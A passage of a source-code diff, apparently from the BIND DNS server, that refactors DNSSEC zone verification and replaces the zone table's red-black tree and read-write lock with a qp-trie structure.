-			    ds.algorithm != dst_key_alg(key)) {
+			    ds.algorithm != dst_key_alg(key))
+			{
 				continue;
 			}
 
@@ -1572,7 +1556,7 @@ check_dnskey_sigs(vctx_t *vctx, const dns_rdata_dnskey_t *dnskey,
 
 cleanup:
 	if (keynode != NULL) {
-		dns_keytable_detachkeynode(vctx->secroots, &keynode);
+		dns_keynode_detach(&keynode);
 	}
 	if (key != NULL) {
 		dst_key_free(&key);
@@ -1598,9 +1582,9 @@ check_dnskey(vctx_t *vctx) {
 		RUNTIME_CHECK(result == ISC_R_SUCCESS);
 		is_ksk = ((dnskey.flags & DNS_KEYFLAG_KSK) != 0);
 
-		if ((dnskey.flags & DNS_KEYOWNER_ZONE) == 0) {
-			/* Non zone key, skip. */
-		} else if ((dnskey.flags & DNS_KEYFLAG_REVOKE) != 0) {
+		if ((dnskey.flags & DNS_KEYOWNER_ZONE) != 0 &&
+		    (dnskey.flags & DNS_KEYFLAG_REVOKE) != 0)
+		{
 			if ((dnskey.flags & DNS_KEYFLAG_KSK) != 0 &&
 			    !dns_dnssec_selfsigns(&rdata, vctx->origin,
 						  &vctx->keyset, &vctx->keysigs,
@@ -1630,11 +1614,13 @@ check_dnskey(vctx_t *vctx) {
 				return (ISC_R_FAILURE);
 			}
 			if ((dnskey.flags & DNS_KEYFLAG_KSK) != 0 &&
-			    vctx->revoked_ksk[dnskey.algorithm] != 255)
+			    vctx->revoked_ksk[dnskey.algorithm] !=
+				    DNS_KEYALG_MAX)
 			{
 				vctx->revoked_ksk[dnskey.algorithm]++;
 			} else if ((dnskey.flags & DNS_KEYFLAG_KSK) == 0 &&
-				   vctx->revoked_zsk[dnskey.algorithm] != 255)
+				   vctx->revoked_zsk[dnskey.algorithm] !=
+					   DNS_KEYALG_MAX)
 			{
 				vctx->revoked_zsk[dnskey.algorithm]++;
 			}
@@ -1653,11 +1639,10 @@ determine_active_algorithms(vctx_t *vctx, bool ignore_kskflag,
 			    bool keyset_kskonly,
 			    void (*report)(const char *, ...)) {
 	char algbuf[DNS_SECALG_FORMATSIZE];
-	int i;
 
 	report("Verifying the zone using the following algorithms:");
 
-	for (i = 0; i < 256; i++) {
+	for (size_t i = 0; i < ARRAY_SIZE(vctx->act_algorithms); i++) {
 		if (ignore_kskflag) {
 			vctx->act_algorithms[i] = (vctx->ksk_algorithms[i] !=
 							   0 ||
@@ -1679,13 +1664,14 @@ determine_active_algorithms(vctx_t *vctx, bool ignore_kskflag,
 		return;
 	}
 
-	for (i = 0; i < 256; i++) {
+	for (size_t i = 0; i < ARRAY_SIZE(vctx->ksk_algorithms); i++) {
 		/*
 		 * The counts should both be zero or both be non-zero.  Mark
 		 * the algorithm as bad if this is not met.
 		 */
 		if ((vctx->ksk_algorithms[i] != 0) ==
-		    (vctx->zsk_algorithms[i] != 0)) {
+		    (vctx->zsk_algorithms[i] != 0))
+		{
 			continue;
 		}
 		dns_secalg_format(i, algbuf, sizeof(algbuf));
@@ -1723,7 +1709,7 @@ verify_nodes(vctx_t *vctx, isc_result_t *vresult) {
 	zonecut = NULL;
 
 	count = dns_rdataset_count(&vctx->keyset);
-	dstkeys = isc_mem_get(vctx->mctx, sizeof(*dstkeys) * count);
+	dstkeys = isc_mem_cget(vctx->mctx, count, sizeof(*dstkeys));
 
 	for (result = dns_rdataset_first(&vctx->keyset);
 	     result == ISC_R_SUCCESS; result = dns_rdataset_next(&vctx->keyset))
@@ -1792,11 +1778,11 @@ verify_nodes(vctx_t *vctx, isc_result_t *vresult) {
 		nextnode = NULL;
 		result = dns_dbiterator_next(dbiter);
 		while (result == ISC_R_SUCCESS) {
-			bool empty;
 			result = dns_dbiterator_current(dbiter, &nextnode,
 							nextname);
 			if (result != ISC_R_SUCCESS &&
-			    result != DNS_R_NEWORIGIN) {
+			    result != DNS_R_NEWORIGIN)
+			{
 				zoneverify_log_error(vctx,
 						     "dns_dbiterator_current():"
 						     " %s",
@@ -1819,15 +1805,16 @@ verify_nodes(vctx_t *vctx, isc_result_t *vresult) {
 				result = dns_dbiterator_next(dbiter);
 				continue;
 			}
-			result = is_empty(vctx, nextnode, &empty);
+			result = is_empty(vctx, nextnode);
 			dns_db_detachnode(vctx->db, &nextnode);
-			if (result != ISC_R_SUCCESS) {
-				dns_db_detachnode(vctx->db, &node);
-				goto done;
-			}
-			if (empty) {
+			switch (result) {
+			case ISC_R_SUCCESS:
+				break;
+			case ISC_R_NOMORE:
 				result = dns_dbiterator_next(dbiter);
 				continue;
+			default:
+				dns_db_detachnode(vctx->db, &node);
 			}
 			break;
 		}
@@ -1913,7 +1900,7 @@ verify_nodes(vctx_t *vctx, isc_result_t *vresult) {
 	while (nkeys-- > 0U) {
 		dst_key_free(&dstkeys[nkeys]);
 	}
-	isc_mem_put(vctx->mctx, dstkeys, sizeof(*dstkeys) * count);
+	isc_mem_cput(vctx->mctx, dstkeys, count, sizeof(*dstkeys));
 	if (dbiter != NULL) {
 		dns_dbiterator_destroy(&dbiter);
 	}
@@ -1925,9 +1912,8 @@ static isc_result_t
 check_bad_algorithms(const vctx_t *vctx, void (*report)(const char *, ...)) {
 	char algbuf[DNS_SECALG_FORMATSIZE];
 	bool first = true;
-	int i;
 
-	for (i = 0; i < 256; i++) {
+	for (size_t i = 0; i < ARRAY_SIZE(vctx->bad_algorithms); i++) {
 		if (vctx->bad_algorithms[i] == 0) {
 			continue;
 		}
@@ -1951,10 +1937,9 @@ static void
 print_summary(const vctx_t *vctx, bool keyset_kskonly,
 	      void (*report)(const char *, ...)) {
 	char algbuf[DNS_SECALG_FORMATSIZE];
-	int i;
 
 	report("Zone fully signed:");
-	for (i = 0; i < 256; i++) {
+	for (size_t i = 0; i < ARRAY_SIZE(vctx->ksk_algorithms); i++) {
 		if ((vctx->ksk_algorithms[i] == 0) &&
 		    (vctx->standby_ksk[i] == 0) &&
 		    (vctx->revoked_ksk[i] == 0) &&
@@ -1986,10 +1971,7 @@ dns_zoneverify_dnssec(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *ver,
 	isc_result_t result, vresult = ISC_R_UNSET;
 	vctx_t vctx;
 
-	result = vctx_init(&vctx, mctx, zone, db, ver, origin, secroots);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
+	vctx_init(&vctx, mctx, zone, db, ver, origin, secroots);
 
 	result = check_apex_rrsets(&vctx);
 	if (result != ISC_R_SUCCESS) {
@@ -2039,7 +2021,7 @@ dns_zoneverify_dnssec(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *ver,
 	result = vresult;
 	if (result != ISC_R_SUCCESS) {
 		report("DNSSEC completeness test failed (%s).",
-		       dns_result_totext(result));
+		       isc_result_totext(result));
 		goto done;
 	}
 
diff --git a/lib/dns/zt.c b/lib/dns/zt.c
index cfe7d31e45..7f2cedadd3 100644
--- a/lib/dns/zt.c
+++ b/lib/dns/zt.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -18,115 +20,130 @@
 #include <isc/file.h>
 #include <isc/magic.h>
 #include <isc/mem.h>
+#include <isc/result.h>
 #include <isc/string.h>
-#include <isc/task.h>
+#include <isc/tid.h>
 #include <isc/util.h>
 
 #include <dns/log.h>
 #include <dns/name.h>
-#include <dns/rbt.h>
+#include <dns/qp.h>
 #include <dns/rdataclass.h>
-#include <dns/result.h>
 #include <dns/view.h>
 #include <dns/zone.h>
 #include <dns/zt.h>
 
-struct zt_load_params {
-	dns_zt_zoneloaded_t dl;
-	bool newonly;
-};
+#define ZTMAGIC	     ISC_MAGIC('Z', 'T', 'b', 'l')
+#define VALID_ZT(zt) ISC_MAGIC_VALID(zt, ZTMAGIC)
 
 struct dns_zt {
-	/* Unlocked. */
 	unsigned int magic;
 	isc_mem_t *mctx;
-	dns_rdataclass_t rdclass;
-	isc_rwlock_t rwlock;
-	dns_zt_allloaded_t loaddone;
-	void *loaddone_arg;
-	struct zt_load_params *loadparams;
+	dns_qpmulti_t *multi;
 
-	/* Atomic */
 	atomic_bool flush;
 	isc_refcount_t references;
 	isc_refcount_t loads_pending;
+};
 
-	/* Locked by lock. */
-	dns_rbt_t *table;
+struct zt_load_params {
+	dns_zt_t *zt;
+	dns_zt_callback_t *loaddone;
+	void *loaddone_arg;
+	bool newonly;
 };
 
-#define ZTMAGIC	     ISC_MAGIC('Z', 'T', 'b', 'l')
-#define VALID_ZT(zt) ISC_MAGIC_VALID(zt, ZTMAGIC)
+struct zt_freeze_params {
+	dns_view_t *view;
+	bool freeze;
+};
 
 static void
-auto_detach(void *, void *);
+ztqpattach(void *uctx ISC_ATTR_UNUSED, void *pval,
+	   uint32_t ival ISC_ATTR_UNUSED) {
+	dns_zone_t *zone = pval;
+	dns_zone_ref(zone);
+}
 
-static isc_result_t
-load(dns_zone_t *zone, void *uap);
+static void
+ztqpdetach(void *uctx ISC_ATTR_UNUSED, void *pval,
+	   uint32_t ival ISC_ATTR_UNUSED) {
+	dns_zone_t *zone = pval;
+	dns_zone_detach(&zone);
+}
 
-static isc_result_t
-asyncload(dns_zone_t *zone, void *callback);
+static size_t
+ztqpmakekey(dns_qpkey_t key, void *uctx ISC_ATTR_UNUSED, void *pval,
+	    uint32_t ival ISC_ATTR_UNUSED) {
+	dns_zone_t *zone = pval;
+	dns_name_t *name = dns_zone_getorigin(zone);
+	return (dns_qpkey_fromname(key, name));
+}
 
-static isc_result_t
-freezezones(dns_zone_t *zone, void *uap);
+static void
+ztqptriename(void *uctx, char *buf, size_t size) {
+	dns_view_t *view = uctx;
+	snprintf(buf, size, "view %s zone table", view->name);
+}
 
-static isc_result_t
-doneloading(dns_zt_t *zt, dns_zone_t *zone, isc_task_t *task);
+static dns_qpmethods_t ztqpmethods = {
+	ztqpattach,
+	ztqpdetach,
+	ztqpmakekey,
+	ztqptriename,
+};
 
-isc_result_t
-dns_zt_create(isc_mem_t *mctx, dns_rdataclass_t rdclass, dns_zt_t **ztp) {
-	dns_zt_t *zt;
-	isc_result_t result;
+void
+dns_zt_create(isc_mem_t *mctx, dns_view_t *view, dns_zt_t **ztp) {
+	dns_qpmulti_t *multi = NULL;
+	dns_zt_t *zt = NULL;
 
 	REQUIRE(ztp != NULL && *ztp == NULL);
+	REQUIRE(view != NULL);
 
-	zt = isc_mem_get(mctx, sizeof(*zt));
+	dns_qpmulti_create(mctx, &ztqpmethods, view, &multi);
 
-	zt->table = NULL;
-	result = dns_rbt_create(mctx, auto_detach, zt, &zt->table);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_zt;
-	}
+	zt = isc_mem_get(mctx, sizeof(*zt));
+	*zt = (dns_zt_t){
+		.magic = ZTMAGIC,
+		.multi = multi,
+		.references = 1,
+	};
 
-	isc_rwlock_init(&zt->rwlock, 0, 0);
-	zt->mctx = NULL;
 	isc_mem_attach(mctx, &zt->mctx);
-	isc_refcount_init(&zt->references, 1);
-	atomic_init(&zt->flush, false);
-	zt->rdclass = rdclass;
-	zt->magic = ZTMAGIC;
-	zt->loaddone = NULL;
-	zt->loaddone_arg = NULL;
-	zt->loadparams = NULL;
-	isc_refcount_init(&zt->loads_pending, 0);
+
 	*ztp = zt;
+}
 
-	return (ISC_R_SUCCESS);
+/*
+ * XXXFANF it isn't clear whether this function will be useful. There
+ * is only one zone table per view, so it is probably enough to let
+ * the qp-trie auto-GC do its thing. However it might be problematic
+ * if a very large zone is replaced, and its database memory is
+ * retained for a long time.
+ */
+void
+dns_zt_compact(dns_zt_t *zt) {
+	dns_qp_t *qp = NULL;
 
-cleanup_zt:
-	isc_mem_put(mctx, zt, sizeof(*zt));
+	REQUIRE(VALID_ZT(zt));
 
-	return (result);
+	dns_qpmulti_write(zt->multi, &qp);
+	dns_qp_compact(qp, DNS_QPGC_ALL);
+	dns_qpmulti_commit(zt->multi, &qp);
 }
 
 isc_result_t
 dns_zt_mount(dns_zt_t *zt, dns_zone_t *zone) {
 	isc_result_t result;
-	dns_zone_t *dummy = NULL;
-	dns_name_t *name;
+	dns_qp_t *qp = NULL;
 
 	REQUIRE(VALID_ZT(zt));
 
-	name = dns_zone_getorigin(zone);
-
-	RWLOCK(&zt->rwlock, isc_rwlocktype_write);
-
-	result = dns_rbt_addname(zt->table, name, zone);
-	if (result == ISC_R_SUCCESS) {
-		dns_zone_attach(zone, &dummy);
-	}
-
-	RWUNLOCK(&zt->rwlock, isc_rwlocktype_write);
+	dns_qpmulti_write(zt->multi, &qp);
+	result = dns_qp_insert(qp, zone, 0);
+	dns_qp_compact(qp, DNS_QPGC_MAYBE);
+	dns_qpmulti_commit(zt->multi, &qp);
 
 	return (result);
 }
@@ -134,39 +151,44 @@ dns_zt_mount(dns_zt_t *zt, dns_zone_t *zone) {
 isc_result_t
 dns_zt_unmount(dns_zt_t *zt, dns_zone_t *zone) {
 	isc_result_t result;
-	dns_name_t *name;
+	dns_qp_t *qp = NULL;
 
 	REQUIRE(VALID_ZT(zt));
 
-	name = dns_zone_getorigin(zone);
-
-	RWLOCK(&zt->rwlock, isc_rwlocktype_write);
-
-	result = dns_rbt_deletename(zt->table, name, false);
-
-	RWUNLOCK(&zt->rwlock, isc_rwlocktype_write);
+	dns_qpmulti_write(zt->multi, &qp);
+	result = dns_qp_deletename(qp, dns_zone_getorigin(zone), NULL, NULL);
+	dns_qp_compact(qp, DNS_QPGC_MAYBE);
+	dns_qpmulti_commit(zt->multi, &qp);
 
 	return (result);
 }
 
 isc_result_t
-dns_zt_find(dns_zt_t *zt, const dns_name_t *name, unsigned int options,
-	    dns_name_t *foundname, dns_zone_t **zonep) {
+dns_zt_find(dns_zt_t *zt, const dns_name_t *name, dns_ztfind_t options,
+	    dns_zone_t **zonep) {
 	isc_result_t result;
-	dns_zone_t *dummy = NULL;
-	unsigned int rbtoptions = 0;
+	dns_qpread_t qpr;
+	void *pval = NULL;
+	dns_ztfind_t exactmask = DNS_ZTFIND_NOEXACT | DNS_ZTFIND_EXACT;
+	dns_ztfind_t exactopts = options & exactmask;
 
 	REQUIRE(VALID_ZT(zt));
+	REQUIRE(exactopts != exactmask);
 
-	if ((options & DNS_ZTFIND_NOEXACT) != 0) {
-		rbtoptions |= DNS_RBTFIND_NOEXACT;
-	}
+	dns_qpmulti_query(zt->multi, &qpr);
 
-	RWLOCK(&zt->rwlock, isc_rwlocktype_read);
+	if (exactopts == DNS_ZTFIND_EXACT) {
+		result = dns_qp_getname(&qpr, name, &pval, NULL);
+	} else if (exactopts == DNS_ZTFIND_NOEXACT) {
+		result = dns_qp_findname_ancestor(
+			&qpr, name, DNS_QPFIND_NOEXACT, &pval, NULL);
+	} else {
+		result = dns_qp_findname_ancestor(&qpr, name, 0, &pval, NULL);
+	}
+	dns_qpread_destroy(zt->multi, &qpr);
 
-	result = dns_rbt_findname(zt->table, name, rbtoptions, foundname,
-				  (void **)(void *)&dummy);
 	if (result == ISC_R_SUCCESS || result == DNS_R_PARTIALMATCH) {
+		dns_zone_t *zone = pval;
 		/*
 		 * If DNS_ZTFIND_MIRROR is set and the zone which was
 		 * determined to be the deepest match for the supplied name is
@@ -185,17 +207,15 @@ dns_zt_find(dns_zt_t *zt, const dns_name_t *name, unsigned int options,
 		 * arguably not worth the added complexity.
 		 */
 		if ((options & DNS_ZTFIND_MIRROR) != 0 &&
-		    dns_zone_gettype(dummy) == dns_zone_mirror &&
-		    !dns_zone_isloaded(dummy))
+		    dns_zone_gettype(zone) == dns_zone_mirror &&
+		    !dns_zone_isloaded(zone))
 		{
 			result = ISC_R_NOTFOUND;
 		} else {
-			dns_zone_attach(dummy, zonep);
+			dns_zone_attach(zone, zonep);
 		}
 	}
 
-	RWUNLOCK(&zt->rwlock, isc_rwlocktype_read);
-
 	return (result);
 }
 
@@ -217,17 +237,20 @@ flush(dns_zone_t *zone, void *uap) {
 
 static void
 zt_destroy(dns_zt_t *zt) {
+	isc_refcount_destroy(&zt->references);
+	isc_refcount_destroy(&zt->loads_pending);
+
 	if (atomic_load_acquire(&zt->flush)) {
 		(void)dns_zt_apply(zt, false, NULL, flush, NULL);
 	}
-	dns_rbt_destroy(&zt->table);
-	isc_rwlock_destroy(&zt->rwlock);
+
+	dns_qpmulti_destroy(&zt->multi);
 	zt->magic = 0;
 	isc_mem_putanddetach(&zt->mctx, zt, sizeof(*zt));
 }
 
-static void
-zt_flushanddetach(dns_zt_t **ztp, bool need_flush) {
+void
+dns_zt_detach(dns_zt_t **ztp) {
 	dns_zt_t *zt;
 
 	REQUIRE(ztp != NULL && VALID_ZT(*ztp));
@@ -235,42 +258,21 @@ zt_flushanddetach(dns_zt_t **ztp, bool need_flush) {
 	zt = *ztp;
 	*ztp = NULL;
 
-	if (need_flush) {
-		atomic_store_release(&zt->flush, true);
-	}
-
 	if (isc_refcount_decrement(&zt->references) == 1) {
 		zt_destroy(zt);
 	}
 }
 
 void
-dns_zt_flushanddetach(dns_zt_t **ztp) {
-	zt_flushanddetach(ztp, true);
-}
-
-void
-dns_zt_detach(dns_zt_t **ztp) {
-	zt_flushanddetach(ztp, false);
-}
-
-isc_result_t
-dns_zt_load(dns_zt_t *zt, bool stop, bool newonly) {
-	isc_result_t result;
-	struct zt_load_params params;
+dns_zt_flush(dns_zt_t *zt) {
 	REQUIRE(VALID_ZT(zt));
-	params.newonly = newonly;
-	RWLOCK(&zt->rwlock, isc_rwlocktype_read);
-	result = dns_zt_apply(zt, stop, NULL, load, &params);
-	RWUNLOCK(&zt->rwlock, isc_rwlocktype_read);
-	return (result);
+	atomic_store_release(&zt->flush, true);
 }
 
 static isc_result_t
-load(dns_zone_t *zone, void *paramsv) {
+load(dns_zone_t *zone, void *uap) {
 	isc_result_t result;
-	struct zt_load_params *params = (struct zt_load_params *)paramsv;
-	result = dns_zone_load(zone, params->newonly);
+	result = dns_zone_load(zone, uap != NULL);
 	if (result == DNS_R_CONTINUE || result == DNS_R_UPTODATE ||
 	    result == DNS_R_DYNAMIC)
 	{
@@ -279,72 +281,41 @@ load(dns_zone_t *zone, void *paramsv) {
 	return (result);
 }
 
-static void
-call_loaddone(dns_zt_t *zt) {
-	dns_zt_allloaded_t loaddone = zt->loaddone;
-	void *loaddone_arg = zt->loaddone_arg;
-
-	/*
-	 * Set zt->loaddone, zt->loaddone_arg and zt->loadparams to NULL
-	 * before calling loaddone.
-	 */
-	zt->loaddone = NULL;
-	zt->loaddone_arg = NULL;
-
-	isc_mem_put(zt->mctx, zt->loadparams, sizeof(struct zt_load_params));
-	zt->loadparams = NULL;
+isc_result_t
+dns_zt_load(dns_zt_t *zt, bool stop, bool newonly) {
+	REQUIRE(VALID_ZT(zt));
+	return (dns_zt_apply(zt, stop, NULL, load, newonly ? &newonly : NULL));
+}
 
-	/*
-	 * Call the callback last.
-	 */
-	if (loaddone != NULL) {
-		loaddone(loaddone_arg);
+static void
+loaded_all(struct zt_load_params *params) {
+	if (params->loaddone != NULL) {
+		params->loaddone(params->loaddone_arg);
 	}
+	isc_mem_put(params->zt->mctx, params, sizeof(*params));
 }
 
-isc_result_t
-dns_zt_asyncload(dns_zt_t *zt, bool newonly, dns_zt_allloaded_t alldone,
-		 void *arg) {
-	isc_result_t result;
-	uint_fast32_t loads_pending;
+/*
+ * Decrement the loads_pending counter; when counter reaches
+ * zero, call the loaddone callback that was initially set by
+ * dns_zt_asyncload().
+ */
+static isc_result_t
+loaded_one(void *uap) {
+	struct zt_load_params *params = uap;
+	dns_zt_t *zt = params->zt;
 
 	REQUIRE(VALID_ZT(zt));
 
-	/*
-	 * Obtain a reference to zt->loads_pending so that asyncload can
-	 * safely decrement both zt->references and zt->loads_pending
-	 * without going to zero.
-	 */
-	loads_pending = isc_refcount_increment0(&zt->loads_pending);
-	INSIST(loads_pending == 0);
-
-	/*
-	 * Only one dns_zt_asyncload call at a time should be active so
-	 * these pointers should be NULL.  They are set back to NULL
-	 * before the zt->loaddone (alldone) is called in call_loaddone.
-	 */
-	INSIST(zt->loadparams == NULL);
-	INSIST(zt->loaddone == NULL);
-	INSIST(zt->loaddone_arg == NULL);
-
-	zt->loadparams = isc_mem_get(zt->mctx, sizeof(struct zt_load_params));
-	zt->loadparams->dl = doneloading;
-	zt->loadparams->newonly = newonly;
-	zt->loaddone = alldone;
-	zt->loaddone_arg = arg;
-
-	RWLOCK(&zt->rwlock, isc_rwlocktype_read);
-	result = dns_zt_apply(zt, false, NULL, asyncload, zt);
-	RWUNLOCK(&zt->rwlock, isc_rwlocktype_read);
-
-	/*
-	 * Have all the loads completed?
-	 */
 	if (isc_refcount_decrement(&zt->loads_pending) == 1) {
-		call_loaddone(zt);
+		loaded_all(params);
 	}
 
-	return (result);
+	if (isc_refcount_decrement(&zt->references) == 1) {
+		zt_destroy(zt);
+	}
+
+	return (ISC_R_SUCCESS);
 }
 
 /*
@@ -353,16 +324,18 @@ dns_zt_asyncload(dns_zt_t *zt, bool newonly, dns_zt_allloaded_t alldone,
  * the zone loading is complete.
  */
 static isc_result_t
-asyncload(dns_zone_t *zone, void *zt_) {
+asyncload(dns_zone_t *zone, void *uap) {
+	struct zt_load_params *params = uap;
+	struct dns_zt *zt = params->zt;
 	isc_result_t result;
-	struct dns_zt *zt = (dns_zt_t *)zt_;
+
+	REQUIRE(VALID_ZT(zt));
 	REQUIRE(zone != NULL);
 
 	isc_refcount_increment(&zt->references);
 	isc_refcount_increment(&zt->loads_pending);
 
-	result = dns_zone_asyncload(zone, zt->loadparams->newonly,
-				    *zt->loadparams->dl, zt);
+	result = dns_zone_asyncload(zone, params->newonly, loaded_one, params);
 	if (result != ISC_R_SUCCESS) {
 		/*
 		 * Caller is holding a reference to zt->loads_pending
@@ -375,23 +348,45 @@ asyncload(dns_zone_t *zone, void *zt_) {
 }
 
 isc_result_t
-dns_zt_freezezones(dns_zt_t *zt, bool freeze) {
-	isc_result_t result, tresult;
+dns_zt_asyncload(dns_zt_t *zt, bool newonly, dns_zt_callback_t *loaddone,
+		 void *arg) {
+	isc_result_t result;
+	uint_fast32_t loads_pending;
+	struct zt_load_params *params = NULL;
 
 	REQUIRE(VALID_ZT(zt));
 
-	RWLOCK(&zt->rwlock, isc_rwlocktype_read);
-	result = dns_zt_apply(zt, false, &tresult, freezezones, &freeze);
-	RWUNLOCK(&zt->rwlock, isc_rwlocktype_read);
-	if (tresult == ISC_R_NOTFOUND) {
-		tresult = ISC_R_SUCCESS;
+	/*
+	 * Obtain a reference to zt->loads_pending so that asyncload can
+	 * safely decrement both zt->references and zt->loads_pending
+	 * without going to zero.
+	 */
+	loads_pending = isc_refcount_increment0(&zt->loads_pending);
+	INSIST(loads_pending == 0);
+
+	params = isc_mem_get(zt->mctx, sizeof(*params));
+	*params = (struct zt_load_params){
+		.zt = zt,
+		.newonly = newonly,
+		.loaddone = loaddone,
+		.loaddone_arg = arg,
+	};
+
+	result = dns_zt_apply(zt, false, NULL, asyncload, params);
+
+	/*
+	 * Have all the loads completed?
+	 */
+	if (isc_refcount_decrement(&zt->loads_pending) == 1) {
+		loaded_all(params);
 	}
-	return ((result == ISC_R_SUCCESS) ? tresult : result);
+
+	return (result);
 }
 
 static isc_result_t
 freezezones(dns_zone_t *zone, void *uap) {
-	bool freeze = *(bool *)uap;
+	struct zt_freeze_params *params = uap;
 	bool frozen;
 	isc_result_t result = ISC_R_SUCCESS;
 	char classstr[DNS_RDATACLASS_FORMATSIZE];
@@ -406,7 +401,13 @@ freezezones(dns_zone_t *zone, void *uap) {
 	if (raw != NULL) {
 		zone = raw;
 	}
-	if (dns_zone_gettype(zone) != dns_zone_master) {
+	if (params->view != dns_zone_getview(zone)) {
+		if (raw != NULL) {
+			dns_zone_detach(&raw);
+		}
+		return (ISC_R_SUCCESS);
+	}
+	if (dns_zone_gettype(zone) != dns_zone_primary) {
 		if (raw != NULL) {
 			dns_zone_detach(&raw);
 		}
@@ -420,7 +421,7 @@ freezezones(dns_zone_t *zone, void *uap) {
 	}
 
 	frozen = dns_zone_getupdatedisabled(zone);
-	if (freeze) {
+	if (params->freeze) {
 		if (frozen) {
 			result = DNS_R_FROZEN;
 		}
@@ -428,20 +429,21 @@ freezezones(dns_zone_t *zone, void *uap) {
 			result = dns_zone_flush(zone);
 		}
 		if (result == ISC_R_SUCCESS) {
-			dns_zone_setupdatedisabled(zone, freeze);
+			dns_zone_setupdatedisabled(zone, params->freeze);
 		}
 	} else {
 		if (frozen) {
 			result = dns_zone_loadandthaw(zone);
 			if (result == DNS_R_CONTINUE ||
-			    result == DNS_R_UPTODATE) {
+			    result == DNS_R_UPTODATE)
+			{
 				result = ISC_R_SUCCESS;
 			}
 		}
 	}
 	view = dns_zone_getview(zone);
-	if (strcmp(view->name, "_bind") == 0 || strcmp(view->name, "_defaul"
-								   "t") == 0)
+	if (strcmp(view->name, "_bind") == 0 ||
+	    strcmp(view->name, "_default") == 0)
 	{
 		vname = "";
 		sep = "";
@@ -455,141 +457,75 @@ freezezones(dns_zone_t *zone, void *uap) {
 	level = (result != ISC_R_SUCCESS) ? ISC_LOG_ERROR : ISC_LOG_DEBUG(1);
 	isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL, DNS_LOGMODULE_ZONE,
 		      level, "%s zone '%s/%s'%s%s: %s",
-		      freeze ? "freezing" : "thawing", zonename, classstr, sep,
-		      vname, isc_result_totext(result));
+		      params->freeze ? "freezing" : "thawing", zonename,
+		      classstr, sep, vname, isc_result_totext(result));
 	if (raw != NULL) {
 		dns_zone_detach(&raw);
 	}
 	return (result);
 }
 
-void
-dns_zt_setviewcommit(dns_zt_t *zt) {
-	dns_rbtnode_t *node;
-	dns_rbtnodechain_t chain;
-	isc_result_t result;
+isc_result_t
+dns_zt_freezezones(dns_zt_t *zt, dns_view_t *view, bool freeze) {
+	isc_result_t result, tresult;
+	struct zt_freeze_params params = { view, freeze };
 
 	REQUIRE(VALID_ZT(zt));
 
-	dns_rbtnodechain_init(&chain);
+	result = dns_zt_apply(zt, false, &tresult, freezezones, &params);
+	if (tresult == ISC_R_NOTFOUND) {
+		tresult = ISC_R_SUCCESS;
+	}
+	return ((result == ISC_R_SUCCESS) ? tresult : result);
+}
 
-	result = dns_rbtnodechain_first(&chain, zt->table, NULL, NULL);
-	while (result == DNS_R_NEWORIGIN || result == ISC_R_SUCCESS) {
-		result = dns_rbtnodechain_current(&chain, NULL, NULL, &node);
-		if (result == ISC_R_SUCCESS && node->data != NULL) {
-			dns_zone_setviewcommit(node->data);
-		}
+typedef void
+setview_cb(dns_zone_t *zone);
 
-		result = dns_rbtnodechain_next(&chain, NULL, NULL);
-	}
+static isc_result_t
+setview(dns_zone_t *zone, void *arg) {
+	setview_cb *cb = arg;
+	cb(zone);
+	return (ISC_R_SUCCESS);
+}
 
-	dns_rbtnodechain_invalidate(&chain);
+void
+dns_zt_setviewcommit(dns_zt_t *zt) {
+	dns_zt_apply(zt, false, NULL, setview, dns_zone_setviewcommit);
 }
 
 void
 dns_zt_setviewrevert(dns_zt_t *zt) {
-	dns_rbtnode_t *node;
-	dns_rbtnodechain_t chain;
-	isc_result_t result;
-
-	REQUIRE(VALID_ZT(zt));
-
-	dns_rbtnodechain_init(&chain);
-
-	result = dns_rbtnodechain_first(&chain, zt->table, NULL, NULL);
-	while (result == DNS_R_NEWORIGIN || result == ISC_R_SUCCESS) {
-		result = dns_rbtnodechain_current(&chain, NULL, NULL, &node);
-		if (result == ISC_R_SUCCESS && node->data != NULL) {
-			dns_zone_setviewrevert(node->data);
-		}
-
-		result = dns_rbtnodechain_next(&chain, NULL, NULL);
-	}
-
-	dns_rbtnodechain_invalidate(&chain);
+	dns_zt_apply(zt, false, NULL, setview, dns_zone_setviewrevert);
 }
 
 isc_result_t
 dns_zt_apply(dns_zt_t *zt, bool stop, isc_result_t *sub,
 	     isc_result_t (*action)(dns_zone_t *, void *), void *uap) {
-	dns_rbtnode_t *node;
-	dns_rbtnodechain_t chain;
-	isc_result_t result, tresult = ISC_R_SUCCESS;
-	dns_zone_t *zone;
+	isc_result_t result = ISC_R_SUCCESS;
+	isc_result_t tresult = ISC_R_SUCCESS;
+	dns_qpiter_t qpi;
+	dns_qpread_t qpr;
+	void *zone = NULL;
 
 	REQUIRE(VALID_ZT(zt));
 	REQUIRE(action != NULL);
 
-	dns_rbtnodechain_init(&chain);
-	result = dns_rbtnodechain_first(&chain, zt->table, NULL, NULL);
-	if (result == ISC_R_NOTFOUND) {
-		/*
-		 * The tree is empty.
-		 */
-		tresult = result;
-		result = ISC_R_NOMORE;
-	}
-	while (result == DNS_R_NEWORIGIN || result == ISC_R_SUCCESS) {
-		result = dns_rbtnodechain_current(&chain, NULL, NULL, &node);
-		if (result == ISC_R_SUCCESS) {
-			zone = node->data;
-			if (zone != NULL) {
-				result = (action)(zone, uap);
-			}
-			if (result != ISC_R_SUCCESS && stop) {
-				tresult = result;
-				goto cleanup; /* don't break */
-			} else if (result != ISC_R_SUCCESS &&
-				   tresult == ISC_R_SUCCESS) {
-				tresult = result;
-			}
+	dns_qpmulti_query(zt->multi, &qpr);
+	dns_qpiter_init(&qpr, &qpi);
+
+	while (dns_qpiter_next(&qpi, &zone, NULL) == ISC_R_SUCCESS) {
+		result = action(zone, uap);
+		if (tresult == ISC_R_SUCCESS) {
+			tresult = result;
+		}
+		if (result != ISC_R_SUCCESS && stop) {
+			break;
 		}
-		result = dns_rbtnodechain_next(&chain, NULL, NULL);
-	}
-	if (result == ISC_R_NOMORE) {
-		result = ISC_R_SUCCESS;
 	}
+	dns_qpread_destroy(zt->multi, &qpr);
 
-cleanup:
